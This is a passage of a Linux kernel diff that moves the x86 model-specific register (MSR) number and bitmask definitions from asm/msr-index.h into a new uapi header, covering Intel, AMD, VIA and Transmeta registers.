-#define MSR_IA32_MISC_ENABLE_L1D_CONTEXT_BIT		24
-#define MSR_IA32_MISC_ENABLE_L1D_CONTEXT		(1ULL << MSR_IA32_MISC_ENABLE_L1D_CONTEXT_BIT)
-#define MSR_IA32_MISC_ENABLE_DCU_PREF_DISABLE_BIT	37
-#define MSR_IA32_MISC_ENABLE_DCU_PREF_DISABLE		(1ULL << MSR_IA32_MISC_ENABLE_DCU_PREF_DISABLE_BIT)
-#define MSR_IA32_MISC_ENABLE_TURBO_DISABLE_BIT		38
-#define MSR_IA32_MISC_ENABLE_TURBO_DISABLE		(1ULL << MSR_IA32_MISC_ENABLE_TURBO_DISABLE_BIT)
-#define MSR_IA32_MISC_ENABLE_IP_PREF_DISABLE_BIT	39
-#define MSR_IA32_MISC_ENABLE_IP_PREF_DISABLE		(1ULL << MSR_IA32_MISC_ENABLE_IP_PREF_DISABLE_BIT)
-
-#define MSR_IA32_TSC_DEADLINE		0x000006E0
-
-/* P4/Xeon+ specific */
-#define MSR_IA32_MCG_EAX		0x00000180
-#define MSR_IA32_MCG_EBX		0x00000181
-#define MSR_IA32_MCG_ECX		0x00000182
-#define MSR_IA32_MCG_EDX		0x00000183
-#define MSR_IA32_MCG_ESI		0x00000184
-#define MSR_IA32_MCG_EDI		0x00000185
-#define MSR_IA32_MCG_EBP		0x00000186
-#define MSR_IA32_MCG_ESP		0x00000187
-#define MSR_IA32_MCG_EFLAGS		0x00000188
-#define MSR_IA32_MCG_EIP		0x00000189
-#define MSR_IA32_MCG_RESERVED		0x0000018a
-
-/* Pentium IV performance counter MSRs */
-#define MSR_P4_BPU_PERFCTR0		0x00000300
-#define MSR_P4_BPU_PERFCTR1		0x00000301
-#define MSR_P4_BPU_PERFCTR2		0x00000302
-#define MSR_P4_BPU_PERFCTR3		0x00000303
-#define MSR_P4_MS_PERFCTR0		0x00000304
-#define MSR_P4_MS_PERFCTR1		0x00000305
-#define MSR_P4_MS_PERFCTR2		0x00000306
-#define MSR_P4_MS_PERFCTR3		0x00000307
-#define MSR_P4_FLAME_PERFCTR0		0x00000308
-#define MSR_P4_FLAME_PERFCTR1		0x00000309
-#define MSR_P4_FLAME_PERFCTR2		0x0000030a
-#define MSR_P4_FLAME_PERFCTR3		0x0000030b
-#define MSR_P4_IQ_PERFCTR0		0x0000030c
-#define MSR_P4_IQ_PERFCTR1		0x0000030d
-#define MSR_P4_IQ_PERFCTR2		0x0000030e
-#define MSR_P4_IQ_PERFCTR3		0x0000030f
-#define MSR_P4_IQ_PERFCTR4		0x00000310
-#define MSR_P4_IQ_PERFCTR5		0x00000311
-#define MSR_P4_BPU_CCCR0		0x00000360
-#define MSR_P4_BPU_CCCR1		0x00000361
-#define MSR_P4_BPU_CCCR2		0x00000362
-#define MSR_P4_BPU_CCCR3		0x00000363
-#define MSR_P4_MS_CCCR0			0x00000364
-#define MSR_P4_MS_CCCR1			0x00000365
-#define MSR_P4_MS_CCCR2			0x00000366
-#define MSR_P4_MS_CCCR3			0x00000367
-#define MSR_P4_FLAME_CCCR0		0x00000368
-#define MSR_P4_FLAME_CCCR1		0x00000369
-#define MSR_P4_FLAME_CCCR2		0x0000036a
-#define MSR_P4_FLAME_CCCR3		0x0000036b
-#define MSR_P4_IQ_CCCR0			0x0000036c
-#define MSR_P4_IQ_CCCR1			0x0000036d
-#define MSR_P4_IQ_CCCR2			0x0000036e
-#define MSR_P4_IQ_CCCR3			0x0000036f
-#define MSR_P4_IQ_CCCR4			0x00000370
-#define MSR_P4_IQ_CCCR5			0x00000371
-#define MSR_P4_ALF_ESCR0		0x000003ca
-#define MSR_P4_ALF_ESCR1		0x000003cb
-#define MSR_P4_BPU_ESCR0		0x000003b2
-#define MSR_P4_BPU_ESCR1		0x000003b3
-#define MSR_P4_BSU_ESCR0		0x000003a0
-#define MSR_P4_BSU_ESCR1		0x000003a1
-#define MSR_P4_CRU_ESCR0		0x000003b8
-#define MSR_P4_CRU_ESCR1		0x000003b9
-#define MSR_P4_CRU_ESCR2		0x000003cc
-#define MSR_P4_CRU_ESCR3		0x000003cd
-#define MSR_P4_CRU_ESCR4		0x000003e0
-#define MSR_P4_CRU_ESCR5		0x000003e1
-#define MSR_P4_DAC_ESCR0		0x000003a8
-#define MSR_P4_DAC_ESCR1		0x000003a9
-#define MSR_P4_FIRM_ESCR0		0x000003a4
-#define MSR_P4_FIRM_ESCR1		0x000003a5
-#define MSR_P4_FLAME_ESCR0		0x000003a6
-#define MSR_P4_FLAME_ESCR1		0x000003a7
-#define MSR_P4_FSB_ESCR0		0x000003a2
-#define MSR_P4_FSB_ESCR1		0x000003a3
-#define MSR_P4_IQ_ESCR0			0x000003ba
-#define MSR_P4_IQ_ESCR1			0x000003bb
-#define MSR_P4_IS_ESCR0			0x000003b4
-#define MSR_P4_IS_ESCR1			0x000003b5
-#define MSR_P4_ITLB_ESCR0		0x000003b6
-#define MSR_P4_ITLB_ESCR1		0x000003b7
-#define MSR_P4_IX_ESCR0			0x000003c8
-#define MSR_P4_IX_ESCR1			0x000003c9
-#define MSR_P4_MOB_ESCR0		0x000003aa
-#define MSR_P4_MOB_ESCR1		0x000003ab
-#define MSR_P4_MS_ESCR0			0x000003c0
-#define MSR_P4_MS_ESCR1			0x000003c1
-#define MSR_P4_PMH_ESCR0		0x000003ac
-#define MSR_P4_PMH_ESCR1		0x000003ad
-#define MSR_P4_RAT_ESCR0		0x000003bc
-#define MSR_P4_RAT_ESCR1		0x000003bd
-#define MSR_P4_SAAT_ESCR0		0x000003ae
-#define MSR_P4_SAAT_ESCR1		0x000003af
-#define MSR_P4_SSU_ESCR0		0x000003be
-#define MSR_P4_SSU_ESCR1		0x000003bf /* guess: not in manual */
-
-#define MSR_P4_TBPU_ESCR0		0x000003c2
-#define MSR_P4_TBPU_ESCR1		0x000003c3
-#define MSR_P4_TC_ESCR0			0x000003c4
-#define MSR_P4_TC_ESCR1			0x000003c5
-#define MSR_P4_U2L_ESCR0		0x000003b0
-#define MSR_P4_U2L_ESCR1		0x000003b1
-
-#define MSR_P4_PEBS_MATRIX_VERT		0x000003f2
-
-/* Intel Core-based CPU performance counters */
-#define MSR_CORE_PERF_FIXED_CTR0	0x00000309
-#define MSR_CORE_PERF_FIXED_CTR1	0x0000030a
-#define MSR_CORE_PERF_FIXED_CTR2	0x0000030b
-#define MSR_CORE_PERF_FIXED_CTR_CTRL	0x0000038d
-#define MSR_CORE_PERF_GLOBAL_STATUS	0x0000038e
-#define MSR_CORE_PERF_GLOBAL_CTRL	0x0000038f
-#define MSR_CORE_PERF_GLOBAL_OVF_CTRL	0x00000390
-
-/* Geode defined MSRs */
-#define MSR_GEODE_BUSCONT_CONF0		0x00001900
-
-/* Intel VT MSRs */
-#define MSR_IA32_VMX_BASIC              0x00000480
-#define MSR_IA32_VMX_PINBASED_CTLS      0x00000481
-#define MSR_IA32_VMX_PROCBASED_CTLS     0x00000482
-#define MSR_IA32_VMX_EXIT_CTLS          0x00000483
-#define MSR_IA32_VMX_ENTRY_CTLS         0x00000484
-#define MSR_IA32_VMX_MISC               0x00000485
-#define MSR_IA32_VMX_CR0_FIXED0         0x00000486
-#define MSR_IA32_VMX_CR0_FIXED1         0x00000487
-#define MSR_IA32_VMX_CR4_FIXED0         0x00000488
-#define MSR_IA32_VMX_CR4_FIXED1         0x00000489
-#define MSR_IA32_VMX_VMCS_ENUM          0x0000048a
-#define MSR_IA32_VMX_PROCBASED_CTLS2    0x0000048b
-#define MSR_IA32_VMX_EPT_VPID_CAP       0x0000048c
-#define MSR_IA32_VMX_TRUE_PINBASED_CTLS  0x0000048d
-#define MSR_IA32_VMX_TRUE_PROCBASED_CTLS 0x0000048e
-#define MSR_IA32_VMX_TRUE_EXIT_CTLS      0x0000048f
-#define MSR_IA32_VMX_TRUE_ENTRY_CTLS     0x00000490
-#define MSR_IA32_VMX_VMFUNC             0x00000491
-
-/* VMX_BASIC bits and bitmasks */
-#define VMX_BASIC_VMCS_SIZE_SHIFT	32
-#define VMX_BASIC_TRUE_CTLS		(1ULL << 55)
-#define VMX_BASIC_64		0x0001000000000000LLU
-#define VMX_BASIC_MEM_TYPE_SHIFT	50
-#define VMX_BASIC_MEM_TYPE_MASK	0x003c000000000000LLU
-#define VMX_BASIC_MEM_TYPE_WB	6LLU
-#define VMX_BASIC_INOUT		0x0040000000000000LLU
-
-/* MSR_IA32_VMX_MISC bits */
-#define MSR_IA32_VMX_MISC_VMWRITE_SHADOW_RO_FIELDS (1ULL << 29)
-#define MSR_IA32_VMX_MISC_PREEMPTION_TIMER_SCALE   0x1F
-/* AMD-V MSRs */
-
-#define MSR_VM_CR                       0xc0010114
-#define MSR_VM_IGNNE                    0xc0010115
-#define MSR_VM_HSAVE_PA                 0xc0010117
+#include <uapi/asm/msr-index.h>
 
 #endif /* _ASM_X86_MSR_INDEX_H */
diff --git a/arch/x86/include/uapi/asm/msr-index.h b/arch/x86/include/uapi/asm/msr-index.h
new file mode 100644
index 000000000000..d097e832ee3c
--- /dev/null
+++ b/arch/x86/include/uapi/asm/msr-index.h
@@ -0,0 +1,698 @@
+#ifndef _UAPI_ASM_X86_MSR_INDEX_H
+#define _UAPI_ASM_X86_MSR_INDEX_H
+
+/*
+ * CPU model specific register (MSR) numbers.
+ *
+ * Do not add new entries to this file unless the definitions are shared
+ * between multiple compilation units.
+ */
+
+/* x86-64 specific MSRs */
+#define MSR_EFER		0xc0000080 /* extended feature register */
+#define MSR_STAR		0xc0000081 /* legacy mode SYSCALL target */
+#define MSR_LSTAR		0xc0000082 /* long mode SYSCALL target */
+#define MSR_CSTAR		0xc0000083 /* compat mode SYSCALL target */
+#define MSR_SYSCALL_MASK	0xc0000084 /* EFLAGS mask for syscall */
+#define MSR_FS_BASE		0xc0000100 /* 64bit FS base */
+#define MSR_GS_BASE		0xc0000101 /* 64bit GS base */
+#define MSR_KERNEL_GS_BASE	0xc0000102 /* SwapGS GS shadow */
+#define MSR_TSC_AUX		0xc0000103 /* Auxiliary TSC */
+
+/* EFER bits: */
+#define _EFER_SCE		0  /* SYSCALL/SYSRET */
+#define _EFER_LME		8  /* Long mode enable */
+#define _EFER_LMA		10 /* Long mode active (read-only) */
+#define _EFER_NX		11 /* No execute enable */
+#define _EFER_SVME		12 /* Enable virtualization */
+#define _EFER_LMSLE		13 /* Long Mode Segment Limit Enable */
+#define _EFER_FFXSR		14 /* Enable Fast FXSAVE/FXRSTOR */
+
+#define EFER_SCE		(1<<_EFER_SCE)
+#define EFER_LME		(1<<_EFER_LME)
+#define EFER_LMA		(1<<_EFER_LMA)
+#define EFER_NX			(1<<_EFER_NX)
+#define EFER_SVME		(1<<_EFER_SVME)
+#define EFER_LMSLE		(1<<_EFER_LMSLE)
+#define EFER_FFXSR		(1<<_EFER_FFXSR)
+
+/* Intel MSRs. Some also available on other CPUs */
+
+#define MSR_PPIN_CTL			0x0000004e
+#define MSR_PPIN			0x0000004f
+
+#define MSR_IA32_PERFCTR0		0x000000c1
+#define MSR_IA32_PERFCTR1		0x000000c2
+#define MSR_FSB_FREQ			0x000000cd
+#define MSR_PLATFORM_INFO		0x000000ce
+
+#define MSR_NHM_SNB_PKG_CST_CFG_CTL	0x000000e2
+#define NHM_C3_AUTO_DEMOTE		(1UL << 25)
+#define NHM_C1_AUTO_DEMOTE		(1UL << 26)
+#define ATM_LNC_C6_AUTO_DEMOTE		(1UL << 25)
+#define SNB_C1_AUTO_UNDEMOTE		(1UL << 27)
+#define SNB_C3_AUTO_UNDEMOTE		(1UL << 28)
+
+#define MSR_MTRRcap			0x000000fe
+#define MSR_IA32_BBL_CR_CTL		0x00000119
+#define MSR_IA32_BBL_CR_CTL3		0x0000011e
+
+#define MSR_IA32_SYSENTER_CS		0x00000174
+#define MSR_IA32_SYSENTER_ESP		0x00000175
+#define MSR_IA32_SYSENTER_EIP		0x00000176
+
+#define MSR_IA32_MCG_CAP		0x00000179
+#define MSR_IA32_MCG_STATUS		0x0000017a
+#define MSR_IA32_MCG_CTL		0x0000017b
+#define MSR_IA32_MCG_EXT_CTL		0x000004d0
+
+#define MSR_OFFCORE_RSP_0		0x000001a6
+#define MSR_OFFCORE_RSP_1		0x000001a7
+#define MSR_TURBO_RATIO_LIMIT		0x000001ad
+#define MSR_TURBO_RATIO_LIMIT1		0x000001ae
+#define MSR_TURBO_RATIO_LIMIT2		0x000001af
+
+#define MSR_LBR_SELECT			0x000001c8
+#define MSR_LBR_TOS			0x000001c9
+#define MSR_LBR_NHM_FROM		0x00000680
+#define MSR_LBR_NHM_TO			0x000006c0
+#define MSR_LBR_CORE_FROM		0x00000040
+#define MSR_LBR_CORE_TO			0x00000060
+
+#define MSR_LBR_INFO_0			0x00000dc0 /* ... 0xddf for _31 */
+#define LBR_INFO_MISPRED		BIT_ULL(63)
+#define LBR_INFO_IN_TX			BIT_ULL(62)
+#define LBR_INFO_ABORT			BIT_ULL(61)
+#define LBR_INFO_CYCLES			0xffff
+
+#define MSR_IA32_PEBS_ENABLE		0x000003f1
+#define MSR_IA32_DS_AREA		0x00000600
+#define MSR_IA32_PERF_CAPABILITIES	0x00000345
+#define MSR_PEBS_LD_LAT_THRESHOLD	0x000003f6
+
+#define MSR_IA32_RTIT_CTL		0x00000570
+#define MSR_IA32_RTIT_STATUS		0x00000571
+#define MSR_IA32_RTIT_ADDR0_A		0x00000580
+#define MSR_IA32_RTIT_ADDR0_B		0x00000581
+#define MSR_IA32_RTIT_ADDR1_A		0x00000582
+#define MSR_IA32_RTIT_ADDR1_B		0x00000583
+#define MSR_IA32_RTIT_ADDR2_A		0x00000584
+#define MSR_IA32_RTIT_ADDR2_B		0x00000585
+#define MSR_IA32_RTIT_ADDR3_A		0x00000586
+#define MSR_IA32_RTIT_ADDR3_B		0x00000587
+#define MSR_IA32_RTIT_CR3_MATCH		0x00000572
+#define MSR_IA32_RTIT_OUTPUT_BASE	0x00000560
+#define MSR_IA32_RTIT_OUTPUT_MASK	0x00000561
+
+#define MSR_MTRRfix64K_00000		0x00000250
+#define MSR_MTRRfix16K_80000		0x00000258
+#define MSR_MTRRfix16K_A0000		0x00000259
+#define MSR_MTRRfix4K_C0000		0x00000268
+#define MSR_MTRRfix4K_C8000		0x00000269
+#define MSR_MTRRfix4K_D0000		0x0000026a
+#define MSR_MTRRfix4K_D8000		0x0000026b
+#define MSR_MTRRfix4K_E0000		0x0000026c
+#define MSR_MTRRfix4K_E8000		0x0000026d
+#define MSR_MTRRfix4K_F0000		0x0000026e
+#define MSR_MTRRfix4K_F8000		0x0000026f
+#define MSR_MTRRdefType			0x000002ff
+
+#define MSR_IA32_CR_PAT			0x00000277
+
+#define MSR_IA32_DEBUGCTLMSR		0x000001d9
+#define MSR_IA32_LASTBRANCHFROMIP	0x000001db
+#define MSR_IA32_LASTBRANCHTOIP		0x000001dc
+#define MSR_IA32_LASTINTFROMIP		0x000001dd
+#define MSR_IA32_LASTINTTOIP		0x000001de
+
+/* DEBUGCTLMSR bits (others vary by model): */
+#define DEBUGCTLMSR_LBR			(1UL <<  0) /* last branch recording */
+#define DEBUGCTLMSR_BTF			(1UL <<  1) /* single-step on branches */
+#define DEBUGCTLMSR_TR			(1UL <<  6)
+#define DEBUGCTLMSR_BTS			(1UL <<  7)
+#define DEBUGCTLMSR_BTINT		(1UL <<  8)
+#define DEBUGCTLMSR_BTS_OFF_OS		(1UL <<  9)
+#define DEBUGCTLMSR_BTS_OFF_USR		(1UL << 10)
+#define DEBUGCTLMSR_FREEZE_LBRS_ON_PMI	(1UL << 11)
+
+#define MSR_PEBS_FRONTEND		0x000003f7
+
+#define MSR_IA32_POWER_CTL		0x000001fc
+
+#define MSR_IA32_MC0_CTL		0x00000400
+#define MSR_IA32_MC0_STATUS		0x00000401
+#define MSR_IA32_MC0_ADDR		0x00000402
+#define MSR_IA32_MC0_MISC		0x00000403
+
+/* C-state Residency Counters */
+#define MSR_PKG_C3_RESIDENCY		0x000003f8
+#define MSR_PKG_C6_RESIDENCY		0x000003f9
+#define MSR_PKG_C7_RESIDENCY		0x000003fa
+#define MSR_CORE_C3_RESIDENCY		0x000003fc
+#define MSR_CORE_C6_RESIDENCY		0x000003fd
+#define MSR_CORE_C7_RESIDENCY		0x000003fe
+#define MSR_KNL_CORE_C6_RESIDENCY	0x000003ff
+#define MSR_PKG_C2_RESIDENCY		0x0000060d
+#define MSR_PKG_C8_RESIDENCY		0x00000630
+#define MSR_PKG_C9_RESIDENCY		0x00000631
+#define MSR_PKG_C10_RESIDENCY		0x00000632
+
+/* Interrupt Response Limit */
+#define MSR_PKGC3_IRTL			0x0000060a
+#define MSR_PKGC6_IRTL			0x0000060b
+#define MSR_PKGC7_IRTL			0x0000060c
+#define MSR_PKGC8_IRTL			0x00000633
+#define MSR_PKGC9_IRTL			0x00000634
+#define MSR_PKGC10_IRTL			0x00000635
+
+/* Run Time Average Power Limiting (RAPL) Interface */
+
+#define MSR_RAPL_POWER_UNIT		0x00000606
+
+#define MSR_PKG_POWER_LIMIT		0x00000610
+#define MSR_PKG_ENERGY_STATUS		0x00000611
+#define MSR_PKG_PERF_STATUS		0x00000613
+#define MSR_PKG_POWER_INFO		0x00000614
+
+#define MSR_DRAM_POWER_LIMIT		0x00000618
+#define MSR_DRAM_ENERGY_STATUS		0x00000619
+#define MSR_DRAM_PERF_STATUS		0x0000061b
+#define MSR_DRAM_POWER_INFO		0x0000061c
+
+#define MSR_PP0_POWER_LIMIT		0x00000638
+#define MSR_PP0_ENERGY_STATUS		0x00000639
+#define MSR_PP0_POLICY			0x0000063a
+#define MSR_PP0_PERF_STATUS		0x0000063b
+
+#define MSR_PP1_POWER_LIMIT		0x00000640
+#define MSR_PP1_ENERGY_STATUS		0x00000641
+#define MSR_PP1_POLICY			0x00000642
+
+/* Config TDP MSRs */
+#define MSR_CONFIG_TDP_NOMINAL		0x00000648
+#define MSR_CONFIG_TDP_LEVEL_1		0x00000649
+#define MSR_CONFIG_TDP_LEVEL_2		0x0000064A
+#define MSR_CONFIG_TDP_CONTROL		0x0000064B
+#define MSR_TURBO_ACTIVATION_RATIO	0x0000064C
+
+#define MSR_PLATFORM_ENERGY_STATUS	0x0000064D
+
+#define MSR_PKG_WEIGHTED_CORE_C0_RES	0x00000658
+#define MSR_PKG_ANY_CORE_C0_RES		0x00000659
+#define MSR_PKG_ANY_GFXE_C0_RES		0x0000065A
+#define MSR_PKG_BOTH_CORE_GFXE_C0_RES	0x0000065B
+
+#define MSR_CORE_C1_RES			0x00000660
+
+#define MSR_CC6_DEMOTION_POLICY_CONFIG	0x00000668
+#define MSR_MC6_DEMOTION_POLICY_CONFIG	0x00000669
+
+#define MSR_CORE_PERF_LIMIT_REASONS	0x00000690
+#define MSR_GFX_PERF_LIMIT_REASONS	0x000006B0
+#define MSR_RING_PERF_LIMIT_REASONS	0x000006B1
+
+/* Hardware P state interface */
+#define MSR_PPERF			0x0000064e
+#define MSR_PERF_LIMIT_REASONS		0x0000064f
+#define MSR_PM_ENABLE			0x00000770
+#define MSR_HWP_CAPABILITIES		0x00000771
+#define MSR_HWP_REQUEST_PKG		0x00000772
+#define MSR_HWP_INTERRUPT		0x00000773
+#define MSR_HWP_REQUEST 		0x00000774
+#define MSR_HWP_STATUS			0x00000777
+
+/* CPUID.6.EAX */
+#define HWP_BASE_BIT			(1<<7)
+#define HWP_NOTIFICATIONS_BIT		(1<<8)
+#define HWP_ACTIVITY_WINDOW_BIT		(1<<9)
+#define HWP_ENERGY_PERF_PREFERENCE_BIT	(1<<10)
+#define HWP_PACKAGE_LEVEL_REQUEST_BIT	(1<<11)
+
+/* IA32_HWP_CAPABILITIES */
+#define HWP_HIGHEST_PERF(x)		(((x) >> 0) & 0xff)
+#define HWP_GUARANTEED_PERF(x)		(((x) >> 8) & 0xff)
+#define HWP_MOSTEFFICIENT_PERF(x)	(((x) >> 16) & 0xff)
+#define HWP_LOWEST_PERF(x)		(((x) >> 24) & 0xff)
+
+/* IA32_HWP_REQUEST */
+#define HWP_MIN_PERF(x) 		(x & 0xff)
+#define HWP_MAX_PERF(x) 		((x & 0xff) << 8)
+#define HWP_DESIRED_PERF(x)		((x & 0xff) << 16)
+#define HWP_ENERGY_PERF_PREFERENCE(x)	((x & 0xff) << 24)
+#define HWP_ACTIVITY_WINDOW(x)		((x & 0xff3) << 32)
+#define HWP_PACKAGE_CONTROL(x)		((x & 0x1) << 42)
+
+/* IA32_HWP_STATUS */
+#define HWP_GUARANTEED_CHANGE(x)	(x & 0x1)
+#define HWP_EXCURSION_TO_MINIMUM(x)	(x & 0x4)
+
+/* IA32_HWP_INTERRUPT */
+#define HWP_CHANGE_TO_GUARANTEED_INT(x)	(x & 0x1)
+#define HWP_EXCURSION_TO_MINIMUM_INT(x)	(x & 0x2)
+
+#define MSR_AMD64_MC0_MASK		0xc0010044
+
+#define MSR_IA32_MCx_CTL(x)		(MSR_IA32_MC0_CTL + 4*(x))
+#define MSR_IA32_MCx_STATUS(x)		(MSR_IA32_MC0_STATUS + 4*(x))
+#define MSR_IA32_MCx_ADDR(x)		(MSR_IA32_MC0_ADDR + 4*(x))
+#define MSR_IA32_MCx_MISC(x)		(MSR_IA32_MC0_MISC + 4*(x))
+
+#define MSR_AMD64_MCx_MASK(x)		(MSR_AMD64_MC0_MASK + (x))
+
+/* These are consecutive and not in the normal 4er MCE bank block */
+#define MSR_IA32_MC0_CTL2		0x00000280
+#define MSR_IA32_MCx_CTL2(x)		(MSR_IA32_MC0_CTL2 + (x))
+
+#define MSR_P6_PERFCTR0			0x000000c1
+#define MSR_P6_PERFCTR1			0x000000c2
+#define MSR_P6_EVNTSEL0			0x00000186
+#define MSR_P6_EVNTSEL1			0x00000187
+
+#define MSR_KNC_PERFCTR0               0x00000020
+#define MSR_KNC_PERFCTR1               0x00000021
+#define MSR_KNC_EVNTSEL0               0x00000028
+#define MSR_KNC_EVNTSEL1               0x00000029
+
+/* Alternative perfctr range with full access. */
+#define MSR_IA32_PMC0			0x000004c1
+
+/* AMD64 MSRs. Not complete. See the architecture manual for a more
+   complete list. */
+
+#define MSR_AMD64_PATCH_LEVEL		0x0000008b
+#define MSR_AMD64_TSC_RATIO		0xc0000104
+#define MSR_AMD64_NB_CFG		0xc001001f
+#define MSR_AMD64_PATCH_LOADER		0xc0010020
+#define MSR_AMD64_OSVW_ID_LENGTH	0xc0010140
+#define MSR_AMD64_OSVW_STATUS		0xc0010141
+#define MSR_AMD64_LS_CFG		0xc0011020
+#define MSR_AMD64_DC_CFG		0xc0011022
+#define MSR_AMD64_BU_CFG2		0xc001102a
+#define MSR_AMD64_IBSFETCHCTL		0xc0011030
+#define MSR_AMD64_IBSFETCHLINAD		0xc0011031
+#define MSR_AMD64_IBSFETCHPHYSAD	0xc0011032
+#define MSR_AMD64_IBSFETCH_REG_COUNT	3
+#define MSR_AMD64_IBSFETCH_REG_MASK	((1UL<<MSR_AMD64_IBSFETCH_REG_COUNT)-1)
+#define MSR_AMD64_IBSOPCTL		0xc0011033
+#define MSR_AMD64_IBSOPRIP		0xc0011034
+#define MSR_AMD64_IBSOPDATA		0xc0011035
+#define MSR_AMD64_IBSOPDATA2		0xc0011036
+#define MSR_AMD64_IBSOPDATA3		0xc0011037
+#define MSR_AMD64_IBSDCLINAD		0xc0011038
+#define MSR_AMD64_IBSDCPHYSAD		0xc0011039
+#define MSR_AMD64_IBSOP_REG_COUNT	7
+#define MSR_AMD64_IBSOP_REG_MASK	((1UL<<MSR_AMD64_IBSOP_REG_COUNT)-1)
+#define MSR_AMD64_IBSCTL		0xc001103a
+#define MSR_AMD64_IBSBRTARGET		0xc001103b
+#define MSR_AMD64_IBSOPDATA4		0xc001103d
+#define MSR_AMD64_IBS_REG_COUNT_MAX	8 /* includes MSR_AMD64_IBSBRTARGET */
+
+/* Fam 17h MSRs */
+#define MSR_F17H_IRPERF			0xc00000e9
+
+/* Fam 16h MSRs */
+#define MSR_F16H_L2I_PERF_CTL		0xc0010230
+#define MSR_F16H_L2I_PERF_CTR		0xc0010231
+#define MSR_F16H_DR1_ADDR_MASK		0xc0011019
+#define MSR_F16H_DR2_ADDR_MASK		0xc001101a
+#define MSR_F16H_DR3_ADDR_MASK		0xc001101b
+#define MSR_F16H_DR0_ADDR_MASK		0xc0011027
+
+/* Fam 15h MSRs */
+#define MSR_F15H_PERF_CTL		0xc0010200
+#define MSR_F15H_PERF_CTR		0xc0010201
+#define MSR_F15H_NB_PERF_CTL		0xc0010240
+#define MSR_F15H_NB_PERF_CTR		0xc0010241
+#define MSR_F15H_PTSC			0xc0010280
+#define MSR_F15H_IC_CFG			0xc0011021
+
+/* Fam 10h MSRs */
+#define MSR_FAM10H_MMIO_CONF_BASE	0xc0010058
+#define FAM10H_MMIO_CONF_ENABLE		(1<<0)
+#define FAM10H_MMIO_CONF_BUSRANGE_MASK	0xf
+#define FAM10H_MMIO_CONF_BUSRANGE_SHIFT 2
+#define FAM10H_MMIO_CONF_BASE_MASK	0xfffffffULL
+#define FAM10H_MMIO_CONF_BASE_SHIFT	20
+#define MSR_FAM10H_NODE_ID		0xc001100c
+
+/* K8 MSRs */
+#define MSR_K8_TOP_MEM1			0xc001001a
+#define MSR_K8_TOP_MEM2			0xc001001d
+#define MSR_K8_SYSCFG			0xc0010010
+#define MSR_K8_INT_PENDING_MSG		0xc0010055
+/* C1E active bits in int pending message */
+#define K8_INTP_C1E_ACTIVE_MASK		0x18000000
+#define MSR_K8_TSEG_ADDR		0xc0010112
+#define MSR_K8_TSEG_MASK		0xc0010113
+#define K8_MTRRFIXRANGE_DRAM_ENABLE	0x00040000 /* MtrrFixDramEn bit    */
+#define K8_MTRRFIXRANGE_DRAM_MODIFY	0x00080000 /* MtrrFixDramModEn bit */
+#define K8_MTRR_RDMEM_WRMEM_MASK	0x18181818 /* Mask: RdMem|WrMem    */
+
+/* K7 MSRs */
+#define MSR_K7_EVNTSEL0			0xc0010000
+#define MSR_K7_PERFCTR0			0xc0010004
+#define MSR_K7_EVNTSEL1			0xc0010001
+#define MSR_K7_PERFCTR1			0xc0010005
+#define MSR_K7_EVNTSEL2			0xc0010002
+#define MSR_K7_PERFCTR2			0xc0010006
+#define MSR_K7_EVNTSEL3			0xc0010003
+#define MSR_K7_PERFCTR3			0xc0010007
+#define MSR_K7_CLK_CTL			0xc001001b
+#define MSR_K7_HWCR			0xc0010015
+#define MSR_K7_FID_VID_CTL		0xc0010041
+#define MSR_K7_FID_VID_STATUS		0xc0010042
+
+/* K6 MSRs */
+#define MSR_K6_WHCR			0xc0000082
+#define MSR_K6_UWCCR			0xc0000085
+#define MSR_K6_EPMR			0xc0000086
+#define MSR_K6_PSOR			0xc0000087
+#define MSR_K6_PFIR			0xc0000088
+
+/* Centaur-Hauls/IDT defined MSRs. */
+#define MSR_IDT_FCR1			0x00000107
+#define MSR_IDT_FCR2			0x00000108
+#define MSR_IDT_FCR3			0x00000109
+#define MSR_IDT_FCR4			0x0000010a
+
+#define MSR_IDT_MCR0			0x00000110
+#define MSR_IDT_MCR1			0x00000111
+#define MSR_IDT_MCR2			0x00000112
+#define MSR_IDT_MCR3			0x00000113
+#define MSR_IDT_MCR4			0x00000114
+#define MSR_IDT_MCR5			0x00000115
+#define MSR_IDT_MCR6			0x00000116
+#define MSR_IDT_MCR7			0x00000117
+#define MSR_IDT_MCR_CTRL		0x00000120
+
+/* VIA Cyrix defined MSRs*/
+#define MSR_VIA_FCR			0x00001107
+#define MSR_VIA_LONGHAUL		0x0000110a
+#define MSR_VIA_RNG			0x0000110b
+#define MSR_VIA_BCR2			0x00001147
+
+/* Transmeta defined MSRs */
+#define MSR_TMTA_LONGRUN_CTRL		0x80868010
+#define MSR_TMTA_LONGRUN_FLAGS		0x80868011
+#define MSR_TMTA_LRTI_READOUT		0x80868018
+#define MSR_TMTA_LRTI_VOLT_MHZ		0x8086801a
+
+/* Intel defined MSRs. */
+#define MSR_IA32_P5_MC_ADDR		0x00000000
+#define MSR_IA32_P5_MC_TYPE		0x00000001
+#define MSR_IA32_TSC			0x00000010
+#define MSR_IA32_PLATFORM_ID		0x00000017
+#define MSR_IA32_EBL_CR_POWERON		0x0000002a
+#define MSR_EBC_FREQUENCY_ID		0x0000002c
+#define MSR_SMI_COUNT			0x00000034
+#define MSR_IA32_FEATURE_CONTROL        0x0000003a
+#define MSR_IA32_TSC_ADJUST             0x0000003b
+#define MSR_IA32_BNDCFGS		0x00000d90
+
+#define MSR_IA32_XSS			0x00000da0
+
+#define FEATURE_CONTROL_LOCKED				(1<<0)
+#define FEATURE_CONTROL_VMXON_ENABLED_INSIDE_SMX	(1<<1)
+#define FEATURE_CONTROL_VMXON_ENABLED_OUTSIDE_SMX	(1<<2)
+#define FEATURE_CONTROL_LMCE				(1<<20)
+
+#define MSR_IA32_APICBASE		0x0000001b
+#define MSR_IA32_APICBASE_BSP		(1<<8)
+#define MSR_IA32_APICBASE_ENABLE	(1<<11)
+#define MSR_IA32_APICBASE_BASE		(0xfffff<<12)
+
+#define MSR_IA32_TSCDEADLINE		0x000006e0
+
+#define MSR_IA32_UCODE_WRITE		0x00000079
+#define MSR_IA32_UCODE_REV		0x0000008b
+
+#define MSR_IA32_SMM_MONITOR_CTL	0x0000009b
+#define MSR_IA32_SMBASE			0x0000009e
+
+#define MSR_IA32_PERF_STATUS		0x00000198
+#define MSR_IA32_PERF_CTL		0x00000199
+#define INTEL_PERF_CTL_MASK		0xffff
+#define MSR_AMD_PSTATE_DEF_BASE		0xc0010064
+#define MSR_AMD_PERF_STATUS		0xc0010063
+#define MSR_AMD_PERF_CTL		0xc0010062
+
+#define MSR_IA32_MPERF			0x000000e7
+#define MSR_IA32_APERF			0x000000e8
+
